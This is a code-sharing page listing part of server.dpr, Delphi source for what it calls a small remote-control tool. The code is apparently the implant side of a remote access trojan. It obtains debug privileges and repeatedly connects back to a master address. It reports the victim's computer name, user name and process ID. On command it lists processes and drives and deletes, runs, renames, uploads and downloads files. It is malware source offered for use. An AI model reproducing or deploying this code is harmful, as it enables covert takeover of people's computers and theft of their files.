⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 server.dpr

📁 一个很不错的小远控啊
💻 DPR
📖 第 1 页 / 共 2 页
字号:
  iResult, iTimeOut: Integer;
  lpRecvBuffer, lpSendBuffer: Pointer;
  bIsLogin: Boolean;
  dwConnectTime: DWORD;
  cbSockCmd, cbSendSockCmd: BYTE;
  lpListPathFile, lpDownFileName, lpUploadFileName, lpNewFileName, lpOldFileName: PChar;

  //  文件是否是否传输中
  hDownFile, hUploadFile: THandle;
  bIsDownFile, bIsUploadFile: Boolean;
  dwDownFileSize, dwUpLoadFileSize, dwBytes: DWORD;
begin
  Result := 0;
  bIsLogin := False;
  hSocket := TSocket(lpParameter);
  dwConnectTime := GetTickCount();

  bIsDownFile := False;
  bIsUploadFile := False;
  dwDownFileSize := 0;
  dwUpLoadFileSize := 0;
  hDownFile := 0;
  hUploadFile := 0;


  lpRecvBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 8192));
  if (lpRecvBuffer = nil) then Exit;
  lpSendBuffer := Pointer(GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT, 8192));
  if (lpSendBuffer = nil) then Exit;

  try
    while True do
    begin
      //读取数据包长度
      iResult := RecvBuffer(hSocket, @dwBufferLen, SizeOf(DWORD), 180);
      if (iResult = SOCKET_ERROR) then
      begin
        //MessageBox(0, '[1]数据包长度接受过程出错', nil, 0);
        Break;
      end;

      //  读取数据
      if (iResult > 0) then
      begin
        if (dwBufferLen > 8192) then Break;
        iResult := RecvBuffer(hSocket, lpRecvBuffer, dwBufferLen, 180);
        if (iResult = 0) or (iResult = SOCKET_ERROR) then
        begin
          //MessageBox(0, '[3]数据包接受过程出错', nil, 0);
          Break;
        end;
        EnDeCode(lpRecvBuffer, dwBufferLen, @szKeyBuffer, SizeOf(szKeyBuffer));
      end;

      //  接受信息处理过程======================================================
      if (Not bIsLogin) then
      begin
        cbSockCmd := BYTE(PChar(lpRecvBuffer)[0]);
        case cbSockCmd of
          CSocket_PING:
          begin
            SendBuffer(hSocket, CSocket_PONG, nil, 0);
          end;
        end;
        if (dwBufferLen = 3) then
        begin
          if ((PChar(lpRecvBuffer)[0]= 'O') and (PChar(lpRecvBuffer)[1] = 'K')
                and (PChar(lpRecvBuffer)[2]= #$00)) then
          begin
            bIsLogin := True;
          end;
        end else
        begin
          if ((GetTickCount() - dwConnectTime) > 10000) then Break;
        end;
      end else
      begin

        cbSockCmd := BYTE(PChar(lpRecvBuffer)[0]);
        case cbSockCmd of

          //  心跳包处理
          CSocket_PING:
          begin
            Sleep(1);
            if Not SendBuffer(hSocket, CSocket_PONG, nil, 1) then
            begin
              //MessageBox(0, '[+]心跳包发送出错!', nil, 0);
              Break;
            end;
          end;

          //  获取Client基本信息
          CSocket_GetBaseInfo:
          begin
            if (Not GetClientBaseInfo(hSocket)) then
            begin
              //MessageBox(0, '[+]基本信息发送失败!', nil, 0);
              Break;
            end;
          end;  

          //  获取进程列表
          CSocket_ListProcess:
          begin
            if (Not GetProcessList(hSocket)) then
            begin
              //MessageBox(0, '[+]进程获取失败!', nil, 0);
              Break;
            end;
          end;

          //====================================================================
          //  文件管理类
          //  获取目录信息
          CSocket_ListDrive:
          begin
            if (Not GetDriveList(hSocket)) then Break;
          end;

          //  获取目录文件列表
          CSocket_ListFile:
          begin
            lpListPathFile := @(PChar(lpRecvBuffer)[1]);
            if (lstrlen(lpListPathFile) > 0) then
            begin
              if GetListPathFile(hSocket, lpListPathFile) then Continue;
            end else
            begin
              GetWindowsDirectory(szBuffer, MAX_PATH);
              szBuffer[3] := #0;
              if GetListPathFile(hSocket, szBuffer) then Continue;
            end;
          end;

          //  文件删除
          CSocket_FileDelete:
          begin
            lpListPathFile := @(PChar(lpRecvBuffer)[1]);
            if DeleteFile(lpListPathFile) then
            begin
              cbSendSockCmd := CSocket_FileDeleteOk;
            end else
            begin
              cbSendSockCmd := CSocket_FileDeleteFailed;
            end;
            if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;
          end;

          //  目录删除
          CSocket_DeleteDirectory:
          begin
            lpListPathFile := @(PChar(lpRecvBuffer)[1]);
            if RemoveDirectory(lpListPathFile) then
            begin
              cbSendSockCmd := CSocket_FileDeleteOk;
            end else
            begin
              cbSendSockCmd := CSocket_FileDeleteFailed;
            end;
            if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;
          end;

          //  文件运行
          CSocket_FileRun:
          begin
            lpListPathFile := @(PChar(lpRecvBuffer)[1]);
            if (WinExec(lpListPathFile, SW_SHOW) = 21) then
            begin
              cbSendSockCmd := CSocket_FileRunOk;
            end else
            begin
              cbSendSockCmd := CSocket_FileRunFailed;
            end;
            if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;
          end;

          //  文件打开
          CSockek_FileOpen:
          begin
            lpListPathFile := @(PChar(lpRecvBuffer)[1]);
            ShellExecute(0, 'Open', lpListPathFile, nil, nil, SW_SHOW);
          end;

          //  创建目录
          CSocket_CreateDirectory:
          begin
            lpListPathFile := @(PChar(lpRecvBuffer)[1]);
            if CreateDirectory(lpListPathFile, nil) then
            begin
              cbSendSockCmd := CSocket_DirectoryCreateOk;
            end else
            begin
              cbSendSockCmd := CSocket_DirectoryCreateFailed;
            end;
            if Not SendBuffer(hSocket, cbSendSockCmd, lpListPathFile, lstrlen(lpListPathFile) + 1) then Break;            
          end;

          //  修改文件名
          CSocket_FileRename:
          begin
            lpOldFileName := @(PChar(lpRecvBuffer)[9]);
            lpNewFileName := PChar(DWORD(lpOldFileName) + PDWORD(@(PChar(lpRecvBuffer)[1]))^);
            if MoveFile(lpOldFileName, lpNewFileName) then
            begin
              cbSendSockCmd := CSocket_FileRenameOK;
            end else
            begin
              cbSendSockCmd := CSocket_FileRenameFailed;
            end;
            if Not SendBuffer(hSocket, cbSendSockCmd, lpOldFileName, lstrlen(lpOldFileName) + 1) then Break;
          end;

          //====================================================================
          //  文件传输类

          //  停止文件传输
          CSocket_FileSendStop:
          begin
            if bIsDownFile then CloseHandle(hDownFile);
            if bIsUploadFile then CloseHandle(hUploadFile);
            bIsDownFile := False;
            bIsUploadFile := False;
            dwDownFileSize := 0;
            dwUpLoadFileSize := 0;
          end;

          //  文件下载开始
          CSocket_FileDownStart:
          begin
            //  判断文件是否正在传输中
            if (bIsDownFile) then
            begin
              dwDownFileSize := 0;
              CloseHandle(hDownFile);
              bIsDownFile := False;
            end;
            
            //  下载文件名
            lpDownFileName := @(PChar(lpRecvBuffer)[1]);
            hDownFile := CreateFile(lpDownFileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
            if (hDownFile = INVALID_HANDLE_VALUE) then
            begin
              bIsDownFile := False;
              if Not SendBuffer(hSocket, CSocket_SendReadFileError, nil, 1) then Break;
              Continue;
            end;
            //  发送文件长度
            dwDownFileSize := GetFileSize(hDownFile, nil);
            ZeroMemory(lpSendBuffer, MAX_PATH);
            wsprintf(lpSendBuffer, '%ld', dwDownFileSize);
            if Not SendBuffer(hSocket, CSocket_SendFileDownStart, lpSendBuffer, lstrlen(lpSendBuffer) + 1) then Break;
            bIsDownFile := True;
          end;

          //  文件上传开始
          CSocket_FileUploadStart:
          begin
            if bIsUploadFile then
            begin
              CloseHandle(hUploadFile);
              bIsUploadFile := False;
            end;
            
            dwUpLoadFileSize := PDWORD(@(PChar(lpRecvBuffer)[1]))^;
            lpUploadFileName := @(PChar(lpRecvBuffer)[5]);
            hUploadFile := CreateFile(lpUploadFileName, GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
            if (hUploadFile = INVALID_HANDLE_VALUE) then
            begin
              bIsUploadFile := False;
              dwUpLoadFileSize := 0;
              //  发送文件上传失败指令
              if Not SendBuffer(hSocket, CSocket_SendUpLoadFailed, nil, 1) then Break;
            end else
            begin
              //  发送开始上传指令
              if Not SendBuffer(hSocket, CSocket_SendUpLoadStart, nil, 1) then Break;
              bIsUploadFile := True;
            end;
          end;

          //  文件上传中
          CSocket_FileUploading:
          begin
            if bIsUploadFile then
            begin
              WriteFile(hUploadFile, PChar(lpRecvBuffer)[1], dwBufferLen - 1, dwBytes, nil);
              dwUpLoadFileSize := dwUpLoadFileSize - dwBytes;
              //========================================
              //ZeroMemory(@szDebugBuffer, SizeOf(szDebugBuffer));
              //wsprintf(szDebugBuffer, 'dwBufferLen: %d, dwUpLoadFileSize: %d. dwUploadSize: %d', dwBufferLen, dwUpLoadFileSize, dwBytes);
              //OutputDebugString(szDebugBuffer);
              //========================================
              if (dwUpLoadFileSize <= 0) then
              begin
                CloseHandle(hUploadFile);
                bIsUploadFile := False;
                //if Not SendBuffer(hSocket, CSocket_SendUpLoadStart, nil, 1) then Break;
                if Not SendBuffer(hSocket, CSocket_SendUpLoadTheEnd, nil, 1) then Break;
              end;
            end;
          end;
          


        end;
      end;
    end;
  finally
    if bIsDownFile then CloseHandle(hDownFile);
    if bIsUploadFile then CloseHandle(hUploadFile);

    GlobalFree(DWORD(lpSendBuffer));
    GlobalFree(DWORD(lpRecvBuffer));
  end;
end;


procedure WinMain();
var
  WSAData: TWSAData;
  hSocket: TSocket;
  SockAddrIn: TSockAddrIn;
  HostEnt: PHostEnt;

  hThread, dwThreadID: DWORD;
  szOnlineBuffer: Array[0..MAX_PATH] of Char;

  dwNameLen: DWORD;
  szUserName: Array[0..MAX_PATH] of Char;
  szGetComputerName: Array[0..MAX_PATH] of Char;
  szTest: Array[0..MAX_PATH] of Char;
begin
  GetDebugPrivs();
  
  //	初始化WSA
	if (WSAStartup($202, WSAData) <> S_OK) then Exit;

  dwNameLen := MAX_PATH;
  GetComputerName(szGetComputerName, dwNameLen);
  dwNameLen := MAX_PATH;
  GetUserName(szUserName, dwNameLen);
  
  ZeroMemory(@szOnlineBuffer, MAX_PATH);
  wsprintf(szOnlineBuffer, '%s|%s|%s|%s|%s|%s|%d|%d|%d|%d|',
          '127.0.0.1',
          'xicao',
          szGetComputerName,
          szUserName,
          '1.1a',
          'mypass',
          1,
          1,
          1,
          GetCurrentProcessId()
  );

  while (True) do
  begin
    SockAddrIn.sin_family := AF_INET;
    SockAddrIn.sin_port := htons(CStr_MasterPort);
    SockAddrIn.sin_addr.s_addr := inet_addr(PChar(CStr_MasterAddress1));
    if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
      HostEnt := gethostbyname(PChar(CStr_MasterAddress1));
      if HostEnt = nil then Exit;
      SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
    end;
    hSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

    //  连接远程地址
    if Connect(hSocket, SockAddrIn, SizeOf(SockAddrIn)) = S_OK then
    begin
      if (SendBuffer(hSocket, CSocket_Online, szOnlineBuffer, lstrlen(szOnlineBuffer) + 1)) then
      begin
				hThread := CreateThread(nil, 0, @ClientThread, Pointer(hSocket), 0, dwThreadID);
				WaitForSingleObject(hThread, INFINITE);
				CloseHandle(hThread);
      end;
    end;
    
		//	清空网络数据,关闭句柄
		shutdown(hSocket, SD_BOTH);
		closesocket(hSocket);
		Sleep(6000);
  end;
  //  卸载WSA
  WSACleanup();
end;

begin
  WinMain();
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -